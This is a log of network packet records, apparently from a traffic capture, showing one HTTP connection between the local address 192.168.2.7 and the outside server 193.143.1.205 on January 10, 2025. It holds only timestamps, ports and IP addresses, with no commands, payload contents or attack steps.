Jan 10, 2025 22:23:37.518138885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.518172979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.518208981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.518347025 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.519011974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.519047022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.519082069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.519115925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.519143105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.519159079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.519192934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.519222021 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.519227982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.519272089 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.519861937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.519963980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.519999027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.520015955 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.520034075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.520070076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.520087004 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.535268068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.535305023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.535361052 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.563803911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.563834906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.563868999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.563872099 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.563905954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.563920975 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.563941002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.563977957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.563987017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.564013958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.564075947 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.602431059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.602458000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.602479935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.602498055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.602525949 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.602566957 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.636312962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.636370897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.636404991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.636439085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.636451960 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.636476040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.636492968 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.636507034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.636548996 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.636831045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.636864901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.636919975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.636951923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.636962891 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.636987925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.637021065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.637031078 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.637054920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.637063980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.637090921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.637125015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.637157917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.637171984 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.637193918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.637198925 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.637567997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.637603045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.637622118 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.637638092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.637670994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.637685061 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.637705088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.637739897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.637777090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.637785912 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.637809038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.637849092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.637856007 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.638068914 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.638346910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.638396978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.638431072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.638464928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.638478994 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.638499975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.638520956 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.638533115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.638566971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.638601065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.638612032 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.638633966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.638668060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.638679028 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.638708115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.638714075 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.639344931 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.639390945 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.639396906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.639431953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.639466047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.639480114 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.639501095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.639534950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.639544964 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.639569998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.639604092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.639620066 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.639638901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.639672041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.639683008 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.639708042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.639781952 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.640285015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.640300035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.640315056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.640330076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.640345097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.640355110 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.640360117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.640377998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.640387058 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.640392065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.640403032 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.640410900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.640425920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.640439034 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.640443087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.640466928 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.641108036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.641123056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.641139984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.641158104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.641194105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.641205072 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.650388002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.650404930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.650422096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.650435925 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.650439024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.650471926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.650485992 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.650512934 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.650522947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.650557041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.650592089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.650608063 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.650629997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.650682926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.650711060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.650727034 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.650752068 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.659243107 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.659257889 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.684346914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.689007998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.689028025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.689057112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.689065933 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.689073086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.689090967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.689104080 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.689107895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.689124107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.689130068 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.689141035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.689177990 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.723036051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.723082066 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.723117113 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.723118067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.723328114 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.724402905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.724438906 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.724474907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.724507093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.724517107 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.724541903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.724555969 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.724575996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.724611998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.724642038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.724654913 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.724675894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.724679947 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.724709988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.724744081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.724764109 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.724778891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.724812984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.724848986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.724855900 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.724884033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.724919081 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.756985903 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.757020950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.757044077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.757072926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.757107019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.757122040 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.757143974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.757194996 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.757230043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.757239103 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.757263899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.757281065 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.757297993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.757332087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.757383108 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.757385969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.757421017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.757443905 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.757453918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.757487059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.757522106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.757551908 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.757556915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.757601023 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.757632017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.757659912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.757689953 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.757698059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.757745981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.757751942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.757783890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.757821083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.757831097 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.757850885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.757886887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.757919073 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.758028030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.758061886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.758075953 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.758096933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.758130074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.758147955 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.758167982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.758203030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.758236885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.758265972 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.758271933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.758290052 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.758500099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.758533955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.758550882 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.758569956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.758610964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.758621931 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.758647919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.758681059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.758718967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.758732080 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.758770943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.758807898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.758841038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.758877993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.758891106 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.758935928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.758980036 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.758987904 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.759021044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.759054899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.759063005 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.759088993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.759123087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.759159088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.759161949 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.759193897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.759227991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.759242058 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.759262085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.759274006 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.759295940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.759346962 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.759370089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.759403944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.759439945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.759489059 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.759747982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.759783030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.759797096 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.759819031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.759852886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.759888887 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.759912968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.759963036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.759998083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.760009050 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.760030985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.760046959 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.760066986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.760099888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.760119915 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.760121107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.760138035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.760153055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.760168076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.760179996 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.760186911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.760201931 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.760202885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.760224104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.760231018 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.760270119 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.760689974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.760715008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.760730982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.760745049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.760761023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.760771036 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.760776997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.760792971 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.760792971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.760808945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.760826111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.760834932 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.760842085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.760859966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.760864019 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.760879040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.760885000 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.761049986 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.761497974 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.775815010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.775831938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.775847912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.775896072 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.775923967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.775938988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.775954008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.775975943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.775978088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.775995016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.776002884 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.776010990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.776026964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.776040077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:23:37.776041031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.776058912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:23:37.776086092 CET	49699	80	192.168.2.7	193.143.1.205
